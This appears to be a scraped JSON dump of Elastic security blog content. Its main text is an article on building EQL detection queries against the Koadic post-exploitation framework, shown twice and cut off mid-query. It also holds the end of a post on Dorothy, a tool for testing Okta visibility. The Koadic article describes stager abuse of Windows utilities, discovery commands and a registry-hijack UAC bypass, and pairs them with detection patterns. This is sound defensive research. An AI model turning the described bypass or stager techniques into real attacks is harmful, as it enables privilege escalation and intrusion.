\",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"detection rules\"}),\" are free and developed in the open alongside the broader security community.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Our Okta rules utilize the indexed system log events that are normalized into \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/ecs/current/ecs-reference.html\",rel:\"nofollow\",children:\"Elastic Common Schema (ECS)\"}),\" and alert security teams to relevant and suspicious behavior.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Figure 8 below shows a number of alerts in Elastic Security after Dorothy was used to simulate actions that an attacker might take while operating in an Okta environment.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/testing-okta-visibility-and-detection-dorothy/8-Dorothy-blog-reviewing-alerts.png\",alt:\"Figure 8 - Reviewing open alerts in Elastic Security\",width:\"1440\",height:\"737\"})}),`\n`,(0,t.jsx)(e.p,{children:\"What about those pesky false positives? Adding exceptions to rules in Elastic Security to filter routine and expected behavior is straightforward. This feature includes an option to close all alerts that match the exception to save you time.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/testing-okta-visibility-and-detection-dorothy/9-Dorothy-blog-adding_exception.jpg\",alt:\"Figure 9 - Adding an exception to an Okta rule in Elastic Security\",width:\"1440\",height:\"1009\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"measure-your-cloud-cover-with-dorothy\",children:\"Measure your cloud cover with Dorothy\"}),`\n`,(0,t.jsx)(e.p,{children:\"Okta and other identity management solutions are frequently targeted by adversaries, but are often poorly monitored, if at all. We created Dorothy as a tool to help security teams understand how adversaries can operate within Okta environments, further empowering them to test their visibility and efficacy of our free and open detection rules.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"You can learn how to get started with Dorothy by visiting the project\\u2019s \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/dorothy/wiki\",rel:\"nofollow\",children:\"wiki\"}),\". If you're not already an Elastic Security user, you can sign up for a \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/cloud/\",rel:\"nofollow\",children:\"free cloud trial\"}),\" today and check out our free \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo\",rel:\"nofollow\",children:\"detection rules\"}),\".\"]})]})}function b(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(h,i)})):h(i)}var O=b;function D(i,e){throw new Error(\"Expected \"+(e?\"component\":\"object\")+\" `\"+i+\"` to be defined: you likely forgot to import, pass, or provide it.\")}return v(x);})();\n;return Component;"},"_id":"articles/testing-okta-visibility-and-detection-dorothy.mdx","_raw":{"sourceFilePath":"articles/testing-okta-visibility-and-detection-dorothy.mdx","sourceFileName":"testing-okta-visibility-and-detection-dorothy.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/testing-okta-visibility-and-detection-dorothy"},"type":"Article","imageUrl":"/assets/images/testing-okta-visibility-and-detection-dorothy/blog-thumb-dorothy-cow.jpg","readingTime":"9 min read","series":"","url":"/testing-okta-visibility-and-detection-dorothy","headings":[{"level":2,"title":"What is Okta SSO?","href":"#what-is-okta-sso"},{"level":2,"title":"Meet Dorothy","href":"#meet-dorothy"},{"level":2,"title":"Executing actions in an Okta environment using Dorothy","href":"#executing-actions-in-an-okta-environment-using-dorothy"},{"level":3,"title":"whoami?","href":"#whoami"},{"level":3,"title":"Discovery","href":"#discovery"},{"level":3,"title":"Persistence","href":"#persistence"},{"level":3,"title":"Defense Evasion","href":"#defense-evasion"},{"level":2,"title":"Detecting suspicious behavior with Elastic Security","href":"#detecting-suspicious-behavior-with-elastic-security"},{"level":3,"title":"Ingesting Okta system logs with Fleet","href":"#ingesting-okta-system-logs-with-fleet"},{"level":3,"title":"Detecting suspicious behavior with Elastic Security’s free detection rules","href":"#detecting-suspicious-behavior-with-elastic-securitys-free-detection-rules"},{"level":2,"title":"Measure your cloud cover with Dorothy","href":"#measure-your-cloud-cover-with-dorothy"}],"author":[{"title":"David French","slug":"david-french","description":"Senior Security Research Engineer, Elastic","image":"david-french.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,h=Object.prototype.hasOwnProperty;var j=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),l=(e,t)=\u003e{for(var n in t)a(e,n,{get:t[n],enumerable:!0})},o=(e,t,n,c)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let i of g(t))!h.call(e,i)\u0026\u0026i!==n\u0026\u0026a(e,i,{get:()=\u003et[i],enumerable:!(c=f(t,i))||c.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?m(x(e)):{},o(t||!e||!e.__esModule?a(n,\"default\",{value:e,enumerable:!0}):n,e)),_=e=\u003eo(a({},\"__esModule\",{value:!0}),e);var d=j((C,s)=\u003e{s.exports=_jsx_runtime});var M={};l(M,{default:()=\u003eF,frontmatter:()=\u003ev});var r=p(d()),v={title:\"David French\",description:\"Senior Security Research Engineer, Elastic\",slug:\"david-french\",image:\"david-french.jpg\"};function u(e){return(0,r.jsx)(r.Fragment,{})}function D(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(u,e)})):u(e)}var F=D;return _(M);})();\n;return Component;"},"_id":"authors/david-french.mdx","_raw":{"sourceFilePath":"authors/david-french.mdx","sourceFileName":"david-french.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/david-french"},"type":"Author","imageUrl":"/assets/images/authors/david-french.jpg","url":"/authors/david-french"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Embracing offensive tooling: Building detections against Koadic using EQL","slug":"embracing-offensive-tooling-building-detections-against-koadic-using-eql","date":"2022-06-01","description":"Find new ways to build behavioral detections against post-exploitation frameworks such as Koadic using Event Query Language (EQL).","image":"blog-thumb-network-attack-map.jpg","body":{"raw":"\nThis year at [BSidesDFW](http://www.bsidesdfw.com/), my local security conference, I highlighted a continuing trend of adversaries using open source offensive tools. The [talk](https://docs.google.com/presentation/d/1Wq76DqLzrF2-qxnhWTSXzmuHjBdXoND2tzMw2zeopfs) reviewed one of these post-exploitation frameworks named [Koadic](https://github.com/zerosum0x0/koadic) and walked through different ways defenders can build behavioral detections through the use of [Event Query Language](https://www.endgame.com/blog/technical-blog/introducing-event-query-language) (EQL). In this post, I wanted to review this research by providing background into Koadic and its features, why it’s relevant, and then dive into some EQL examples where I will share different detection strategies against the Koadic framework.\n\nAdversaries continue to adopt open source attack frameworks as part of their toolset. By using these off-the-shelf tools, attackers are able to complete their objectives while reducing their development costs and present attribution problems for incident responders. These tools challenge traditional investigative techniques by creating the idea of plausible deniability and leave fewer toolmarks that can be traced back to an adversary. Even with strong threat intelligence capabilities and proper defensive visibility, it’s not always an easy task to differentiate red team operations from real adversary behavior — especially in the early phases of an attack.\n\nAs defenders, we are required to actively monitor offensive open source projects. These projects serve as canaries in a coal mine, giving us an opportunity to gain insights into new attacker tradecraft. Not only does this get us into an attacker mindset, but all the code is freely available for emulation and review. Some different ways to get value from dissecting these tools can be through validating your detection capabilities, generating new analytics, developing threat hunting hypotheses, or by simply transferring knowledge around an underlying behavior.\n\n### Why Koadic?\n\nKoadic is a great candidate to demonstrate behavior-based detections due its interesting way of leveraging technologies built into the Windows OS — such as Windows Script Host (WSH) and the Component Object Model (COM). COM and WSH fall into the general category of “living off the land” tools, which allow adversaries to proxy the execution of their toolset through [built-in Windows programs](https://github.com/LOLBAS-Project/LOLBAS/tree/master/yml/OSBinaries).\n\nThis can be very desirable from an attacker’s standpoint, as it allows them to blend in better within the network while producing less of a forensic footprint — rather than dropping and executing a file on disk. COM and WSH are particularly attractive to attackers because of a lack of robust, built-in logging capabilities in contrast to tools like PowerShell (for which Windows has added extensive logging capabilities in newer versions). Koadic is good enough for mature threat groups such as [APT28](https://attack.mitre.org/groups/G0007/) and has received frequent updates over the last couple years.\n\n\n\n_Koadic overview \u0026 features_\n\n### EQL\n\nSome of the more exciting parts of my job as a practitioner come when writing behavioral detections using EQL. This process brings out my inner detective skills that I find to be fulfilling and challenging at the same time. The language enables practitioners to go beyond matching static values such as Indicators of Compromise (IoCs) to a much more comprehensive and flexible way to detect adversary behaviors. With the ability to leverage features like time-bound sequencing or track process lineage, more options are opened up to us as defenders to build reliable and lasting detections.\n\nI find this to be rewarding, as I can directly apply my previous SOC work experience around host-based forensics into a much more dynamic detection that holds up against the latest attacker tradecraft. The best part is that EQL has a very simple syntax with a short learning curve, so if you aren’t able to adopt EQL today, hopefully the logic within these queries can be applied to your current solution.\n\nFor a quick recap into the language itself and its core capabilities, I recommend reviewing our previous blog post: [Introducing Event Query Language](https://www.endgame.com/blog/technical-blog/introducing-event-query-language). In summary, EQL is a schema-independent and OS-agnostic language built for real-time detection with stream processing. It supports multiple-event behaviors and also offers post-processing commands used to analyze large amounts of data. With that background, let’s start diving into some of the different ways to detect Koadic using EQL.\n\n### Initial access\n\n**Spearphishing Attachment (**[**T1193**](https://attack.mitre.org/techniques/T1193/)**)**\n\nValidating parent-child process relationships continues to be a fruitful technique for hunting and building detections. As attacker activity becomes more evasive, however, we also have a need for flexibility as defenders. This first example shows off the value of tracking process ancestry using EQL’s descendant function, which lets us maintain state and track full process genealogy. This is an important concept because it goes beyond the typical parent-child process paradigm that many languages are limited to.\n\nBy tracking further descendant processes, defenders have the ability to follow process chains infinitely down the process tree. This provides more freedom in how we can express suspicious behavior together while also allowing tighter controls around process ancestry.\n\n\n\n_Descendant process tree visualization (APT28)_\n\nThis process chain comes from a sample [reported](https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/) by Palo Alto Networks in June 2018 associated with [APT28](https://attack.mitre.org/groups/G0007/) activity. In this EQL expression, we are monitoring all descendant processes of our email client (Outlook.exe) and only looking for new process creation events tied to [Mshta](https://attack.mitre.org/techniques/T1170/). This allows us to focus on the initial attack vector (Spearphishing email) and then filter on Windows programs being used to execute attacker code. This is a great foundation for strong analytics — if we wanted to create something more robust, we could build out a longer array of cohorts associated with initial compromise stages, as well as add the entire Microsoft Office suite as descendants.\n\n\n\n_Initial access \u0026 execution - Spearphishing example_\n\nEQL query:\n\n```\nprocess where process_name == \"mshta.exe\" and descendant of\n[process where process_name == \"outlook.exe\"]\n```\n\n### Defense evasion/execution\n\n**Mshta (**[**T1170**](https://attack.mitre.org/techniques/T1170/)**), Rundll32 (**[**T1085**](https://attack.mitre.org/techniques/T1085/)**)**\n\nTools like Koadic often include some usability features that help facilitate payload building, also known as [stagers](https://github.com/zerosum0x0/koadic/tree/master/data/stager/js). These small pieces of code get executed on the victim machine and are used to establish a network connection back to the attacker in order to bring in a staged payload for execution. Stagers represent a significant portion of the early phases of the intrusion process. The following example continues exploring the detection strategy for a variety of Windows utilities used to proxy execution with Koadic stagers.\n\nThe EQL query below uses the sequence operator, a function of EQL that matches based on the order of events in a sequence. In this case, we are matching when one of these standard Windows administration utilities initiates a network connection. Where another language might require an analyst to write several rules — one for each of these utilities — EQL enables us to build an array capable of matching many permutations.\n\nUsing the filter operator joins these events in sequence by their process identifier (PID). I like this example because it’s capable of detecting malware and other offensive tools that aren’t specific to Koadic. With that said, it might take a little filtering to remove potentially benign events such as network administrative activity, but this kind of behavior is something every organization should be tracking and reviewing on a certain cadence.\n\n\n\n_Defense evasion \u0026 execution - stagers_\n\nEQL query:\n\n```\nsequence by unique_pid\n[process where subtype.create and process_name in\n(\"mshta.exe\", \"regsvr32.exe\", \"rundll32.exe\", \"wmic.exe\")]\n[network where process_name in\n(\"mshta.exe\", \"regsvr32.exe\", \"rundll32.exe\", \"wmic.exe\")]\n```\n\nOne of the more interesting takeaways when reviewing offensive tooling is finding the different artifacts that get left behind unintentionally. All it takes is one “loud” artifact, such as a file or registry modification that sticks out, to quickly find suspicious activity.\n\nIn Koadic’s case, HTTP stagers use Internet Explorer’s core architecture to make a web request by default, which causes the stager to be created within the Temporary Internet Files directory. This behavior occurs due to the way Internet Explorer caches browser content to quickly load web pages. Monitoring this kind of behavior with certain executables can lead to reliable detections outside Koadic, such as generic [cradles](https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html) used to download and execute malicious code.\n\n\n\n_Defense evasion \u0026 execution - cached stager_\n\nEQL query:\n\n```\nfile where process_name in\n(\"mshta.exe\",\"regsvr32.exe\", \"rundll32.exe\", \"wmic.exe\")\nand subtype.create and file_path == \"*Content.IE5*\"\n```\n\n### Discovery\n\n**Account Discovery (**[**T1087**](https://attack.mitre.org/techniques/T1087/)**), Remote System Discovery (**[**T1096**](https://attack.mitre.org/techniques/T1018/)**)**\n\n\n\n_Discovery - macro_\n\nA feature of EQL is the ability to share or reuse similar logic between queries. By using macro declaration, we can bundle a collection of items together and call the array like a variable. A good example would be grouping Microsoft Office applications into a macro, or, in this case, several different Windows programs that can be used for discovery and enumeration.\n\nEQL query (macro):\n\n```\nmacro KOADIC_DISCOVERY(name)\nname in (\n\"arp.exe\", \"findstr.exe\", \"hostname.exe\", \"ipconfig.exe\",\n\"nbtstat.exe\", \"net.exe\", \"net1.exe\", \"netsh.exe\",\n\"nltest.exe\", \"ping.exe\", \"systeminfo.exe\", \"tasklist.exe\",\n\"tracert.exe\", \"whoami.exe\"\n)\n```\n\nThe Elastic Endpoint Resolver view below helps provide some context about how Koadic spawns child processes. By using the Koadic module (exec_cmd), and running a natively supported command such as “whoami /groups”, we can see the Rundll32.exe application was invoked by WmiPrvse.exe and passes instructions down to the command prompt before launching the Whoami.exe application.\n\n\n\n_Elastic Endpoint Resolver visualization_\n\nNow that we have a better understanding of the attack chain, let’s tie our previous macro (KOADIC_DISCOVERY) into a sequence-based detection looking for three process creation events from any one of those enumeration programs within a period of 10 minutes, executed by the same user. This same feature would let you monitor for processes that were previously observed. For example, maybe 15 days later the process makes a network connection to pull down an additional payload. What other language lets you find long-term payloads that sit dormant for weeks or months?\n\nEQL query:\n\n```\nsequence by user_name with maxspan=10m\n[process where subtype.create and KOADIC_DISCOVERY(process_name)]\n[process where subtype.create and KOADIC_DISCOVERY(process_name)]\n[process where subtype.create and KOADIC_DISCOVERY(process_name)]\n| unique user_name\n```\n\nThe query above is fully-functional and can be used as a generic detection for initial discovery and enumeration. But what if we had some reason to tighten the logic around Koadic specifically? Understanding the process genealogy of Koadic at the endpoint level, we can leverage different process relationship tracking functions in EQL such as **child of** and **descendant of**.\n\nBy using the **child of** function and setting the parent process to Rundll32.exe, we are essentially getting the grandchildren of Rundll32.exe. Then if we wanted to take it even further, we can add the **descendant of** parent process WmiPrvse.exe. This example demonstrates the flexibility of EQL to provide powerful detection capabilities for real adversary behavior.\n\n\n\n_Process tree visualization - child of and descendant of_\n\nEQL query:\n\n```\nsequence by user_name with maxspan=10m\n[process where child of [process where parent_process_name == \"rundll32.exe\"]\nand KOADIC_DISCOVERY(process_name) and\ndescendant of [process where parent_process_name == \"wmiprvse.exe\"]]\n[process where child of [process where parent_process_name == \"rundll32.exe\"]\nand KOADIC_DISCOVERY(process_name) and\ndescendant of [process where parent_process_name == \"wmiprvse.exe\"]]\n| unique user_name\n```\n\n### Privilege escalation\n\n**Bypass User Account Account (**[**T1088**](https://attack.mitre.org/techniques/T1088/)**)**\n\nWhile attackers control targeting of victims in many cases, they don’t always wind up with an elevated user during initial compromise. Even when a spearphishing victim is a local administrator, the attacker will oftentimes need to escalate from a Medium to High integrity process before continuing. Off-the-shelf offensive tools like Koadic can enable that transition with relative ease, including several different UAC Bypass modules out of the box.\n\nFor this example, we’ll examine a well-known UAC Bypass technique published by Matt Nelson ([@enigma0x3](https://twitter.com/enigma0x3?s=20)) while leveraging the Computer Management launcher — CompMgmtLauncher.exe — which is interoperable with the Microsoft Management Console (MMC). Details about this technique, which still works on Windows 7 endpoints, can be found [here](https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/).\n\nThis technique involves modifying the Windows Registry to change the default association of files the MMC interacts with (HKCU\\Software\\Classes\\mscfile\\shell\\open\\command) to an application of the attacker’s choice. By deploying a malicious script object with a compatible extension and altering this registry key value to launch a built-in script interpreter, an adversary is able to circumvent controls.\n\nRight after this registry modification, look for the new process creation event tied to the auto-elevated Microsoft program (CompMgmtLauncher.exe), followed by common Koadic stager descendant processes such as Mshta.exe or Rundll32.exe — processes that should be running in a high integrity context. We can combine those events into an ordered sequence and constrain the total run-time for all the steps to complete within 10 seconds.\n\n\n\n_Privilege escalation - UAC bypass_\n\nEQL query:\n\n```\nsequence with maxspan=10s\n[registry where length(bytes_written_string) \\\u003e 0 and key_type in\n(\"sz\", \"expandSz\") and key_path == \"*\\\\mscfile\\\\shell\\\\open\\\\command\\\\\"\nand user_name != \"SYSTEM\"]\n[process where process_path == \"C:\\\\Windows\\\\System32\\\\CompMgmtLauncher.exe\"]\n[process where process_name in (\"mshta.exe\",\"rundll32.exe\") and\nintegrity_level == \"high\"]\n```\n\n### Collection/exfiltration\n\n**Data from Local System (**[**T1005**](https://attack.mitre.org/techniques/T1005/)**)**\n\nKoadic’s method of C2 may be interesting to analysts of several kinds due to the transactional way it exchanges data between implants and server. This behavior is highlighted through some direct examples of specific commands executed below:\n\n\n\n_Command shell redirection into text files_\n\nKoadic redirects STDOUT/STDERR to a temporary text file that stores the output of the operator’s commands as they were presented to the server. These commands are then read back into the Koadic C2 terminal. One second after this file is initially created, it is automatically deleted.\n\nWith the right endpoint visibility, malicious behaviors you might be incapable of otherwise detecting stand out. To demonstrate a detection around this, we will use the event of function to filter only for processes that come from cmd.exe that contain a redirector (\\\\\u003e), then tie the PID of that process to same PID that performed file activity related to the text (.txt) file activity.\n\nEQL query:\n\n```\nfile where file_name == \"*.txt\" and\nevent of [process where process_name == \"cmd.exe\" and command_line == \"*\\\u003e*\"]\n```\n\n\n\n_Example results showing file modification_\n\nIf you wanted to get more context, such as what command was passed from Koadic, we can turn the detection into a sequence and add the process event.\n\nEQL query:\n\n```\nsequence with maxspan=5s by unique_pid\n[process where subtype.create and process_name == \"cmd.exe\" and command_line == \"*\\\u003e*\" and\ndescendant of [process where process_name == \"wmiprvse.exe\"]]\n[file where subtype.create and wildcard(file_name, \"*.txt\", \"*.log\")]\n```\n\n\n\n_Example results combining process and file modification_\n\n### Conclusion\n\nTo summarize, we analyzed one offensive framework (Koadic) and several of its prominent features, reviewed a flexible query language (EQL) to express detection logic, and stepped through several ways to identify behavior tied to Koadic with example analytics.\n\nI see the availability of offensive frameworks like Koadic as an opportunity for defenders, and a motivation to stay vigilant. Thinking creatively about how to detect these post-exploitation behaviors and assessing how these tools perform against their own detection capabilities will put an organization on a path to greater success in stopping similar threats.\n\nTo help enable organizations, we’ve added all the queries in this post into the [EQLLib repository](https://eqllib.readthedocs.io/en/latest/analytics.html). For readers interested in the original presentation from BSidesDFW this year, here is a link to the [slides](https://docs.google.com/presentation/d/1Wq76DqLzrF2-qxnhWTSXzmuHjBdXoND2tzMw2zeopfs/edit?usp=sharing).\n\n[EQL support is being added to Elasticsearch.](https://github.com/elastic/elasticsearch/issues/49581)\n","code":"var Component=(()=\u003e{var h=Object.create;var o=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var i in e)o(n,i,{get:e[i],enumerable:!0})},r=(n,e,i,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of g(e))!m.call(n,a)\u0026\u0026a!==i\u0026\u0026o(n,a,{get:()=\u003ee[a],enumerable:!(s=p(e,a))||s.enumerable});return n};var y=(n,e,i)=\u003e(i=n!=null?h(u(n)):{},r(e||!n||!n.__esModule?o(i,\"default\",{value:n,enumerable:!0}):i,n)),b=n=\u003er(o({},\"__esModule\",{value:!0}),n);var l=f((E,c)=\u003e{c.exports=_jsx_runtime});var q={};w(q,{default:()=\u003ek,frontmatter:()=\u003ev});var t=y(l()),v={title:\"Embracing offensive tooling: Building detections against Koadic using EQL\",slug:\"embracing-offensive-tooling-building-detections-against-koadic-using-eql\",date:\"2022-06-01\",description:\"Find new ways to build behavioral detections against post-exploitation frameworks such as Koadic using Event Query Language (EQL).\",author:[{slug:\"daniel-stepanic\"}],image:\"blog-thumb-network-attack-map.jpg\",category:[{slug:\"security-research\"}]};function d(n){let e=Object.assign({p:\"p\",a:\"a\",h3:\"h3\",img:\"img\",em:\"em\",strong:\"strong\",pre:\"pre\",code:\"code\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.p,{children:[\"This year at \",(0,t.jsx)(e.a,{href:\"http://www.bsidesdfw.com/\",rel:\"nofollow\",children:\"BSidesDFW\"}),\", my local security conference, I highlighted a continuing trend of adversaries using open source offensive tools. The \",(0,t.jsx)(e.a,{href:\"https://docs.google.com/presentation/d/1Wq76DqLzrF2-qxnhWTSXzmuHjBdXoND2tzMw2zeopfs\",rel:\"nofollow\",children:\"talk\"}),\" reviewed one of these post-exploitation frameworks named \",(0,t.jsx)(e.a,{href:\"https://github.com/zerosum0x0/koadic\",rel:\"nofollow\",children:\"Koadic\"}),\" and walked through different ways defenders can build behavioral detections through the use of \",(0,t.jsx)(e.a,{href:\"https://www.endgame.com/blog/technical-blog/introducing-event-query-language\",rel:\"nofollow\",children:\"Event Query Language\"}),\" (EQL). In this post, I wanted to review this research by providing background into Koadic and its features, why it\\u2019s relevant, and then dive into some EQL examples where I will share different detection strategies against the Koadic framework.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Adversaries continue to adopt open source attack frameworks as part of their toolset. By using these off-the-shelf tools, attackers are able to complete their objectives while reducing their development costs and present attribution problems for incident responders. These tools challenge traditional investigative techniques by creating the idea of plausible deniability and leave fewer toolmarks that can be traced back to an adversary. Even with strong threat intelligence capabilities and proper defensive visibility, it\\u2019s not always an easy task to differentiate red team operations from real adversary behavior \\u2014 especially in the early phases of an attack.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As defenders, we are required to actively monitor offensive open source projects. These projects serve as canaries in a coal mine, giving us an opportunity to gain insights into new attacker tradecraft. Not only does this get us into an attacker mindset, but all the code is freely available for emulation and review. Some different ways to get value from dissecting these tools can be through validating your detection capabilities, generating new analytics, developing threat hunting hypotheses, or by simply transferring knowledge around an underlying behavior.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"why-koadic\",children:\"Why Koadic?\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Koadic is a great candidate to demonstrate behavior-based detections due its interesting way of leveraging technologies built into the Windows OS \\u2014 such as Windows Script Host (WSH) and the Component Object Model (COM). COM and WSH fall into the general category of \\u201Cliving off the land\\u201D tools, which allow adversaries to proxy the execution of their toolset through \",(0,t.jsx)(e.a,{href:\"https://github.com/LOLBAS-Project/LOLBAS/tree/master/yml/OSBinaries\",rel:\"nofollow\",children:\"built-in Windows programs\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"This can be very desirable from an attacker\\u2019s standpoint, as it allows them to blend in better within the network while producing less of a forensic footprint \\u2014 rather than dropping and executing a file on disk. COM and WSH are particularly attractive to attackers because of a lack of robust, built-in logging capabilities in contrast to tools like PowerShell (for which Windows has added extensive logging capabilities in newer versions). Koadic is good enough for mature threat groups such as \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/groups/G0007/\",rel:\"nofollow\",children:\"APT28\"}),\" and has received frequent updates over the last couple years.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/features_koadic.png\",alt:\"Koadic overview\",width:\"1440\",height:\"634\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Koadic overview \u0026 features\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"eql\",children:\"EQL\"}),`\n`,(0,t.jsx)(e.p,{children:\"Some of the more exciting parts of my job as a practitioner come when writing behavioral detections using EQL. This process brings out my inner detective skills that I find to be fulfilling and challenging at the same time. The language enables practitioners to go beyond matching static values such as Indicators of Compromise (IoCs) to a much more comprehensive and flexible way to detect adversary behaviors. With the ability to leverage features like time-bound sequencing or track process lineage, more options are opened up to us as defenders to build reliable and lasting detections.\"}),`\n`,(0,t.jsx)(e.p,{children:\"I find this to be rewarding, as I can directly apply my previous SOC work experience around host-based forensics into a much more dynamic detection that holds up against the latest attacker tradecraft. The best part is that EQL has a very simple syntax with a short learning curve, so if you aren\\u2019t able to adopt EQL today, hopefully the logic within these queries can be applied to your current solution.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For a quick recap into the language itself and its core capabilities, I recommend reviewing our previous blog post: \",(0,t.jsx)(e.a,{href:\"https://www.endgame.com/blog/technical-blog/introducing-event-query-language\",rel:\"nofollow\",children:\"Introducing Event Query Language\"}),\". In summary, EQL is a schema-independent and OS-agnostic language built for real-time detection with stream processing. It supports multiple-event behaviors and also offers post-processing commands used to analyze large amounts of data. With that background, let\\u2019s start diving into some of the different ways to detect Koadic using EQL.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"initial-access\",children:\"Initial access\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Spearphishing Attachment (\"}),(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1193/\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"T1193\"})}),(0,t.jsx)(e.strong,{children:\")\"})]}),`\n`,(0,t.jsx)(e.p,{children:\"Validating parent-child process relationships continues to be a fruitful technique for hunting and building detections. As attacker activity becomes more evasive, however, we also have a need for flexibility as defenders. This first example shows off the value of tracking process ancestry using EQL\\u2019s descendant function, which lets us maintain state and track full process genealogy. This is an important concept because it goes beyond the typical parent-child process paradigm that many languages are limited to.\"}),`\n`,(0,t.jsx)(e.p,{children:\"By tracking further descendant processes, defenders have the ability to follow process chains infinitely down the process tree. This provides more freedom in how we can express suspicious behavior together while also allowing tighter controls around process ancestry.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/mshta_descendant.jpg\",alt:\"Descendant process tree\",width:\"1440\",height:\"487\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Descendant process tree visualization (APT28)\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This process chain comes from a sample \",(0,t.jsx)(e.a,{href:\"https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/\",rel:\"nofollow\",children:\"reported\"}),\" by Palo Alto Networks in June 2018 associated with \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/groups/G0007/\",rel:\"nofollow\",children:\"APT28\"}),\" activity. In this EQL expression, we are monitoring all descendant processes of our email client (Outlook.exe) and only looking for new process creation events tied to \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1170/\",rel:\"nofollow\",children:\"Mshta\"}),\". This allows us to focus on the initial attack vector (Spearphishing email) and then filter on Windows programs being used to execute attacker code. This is a great foundation for strong analytics \\u2014 if we wanted to create something more robust, we could build out a longer array of cohorts associated with initial compromise stages, as well as add the entire Microsoft Office suite as descendants.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/embracing-offensive-tooling-building-detections-against-koadic-using-eql/intial_access_mshta_eql.png\",alt:\"Initial access and execution - spearfishing\",width:\"1440\",height:\"718\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Initial access \u0026 execution - Spearphishing example\"})}),`\n`,(0,t.jsx)(e.p,{children:\"EQL query:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`process where process_name == \"mshta.exe\" and descendant of\n[process where process_name == 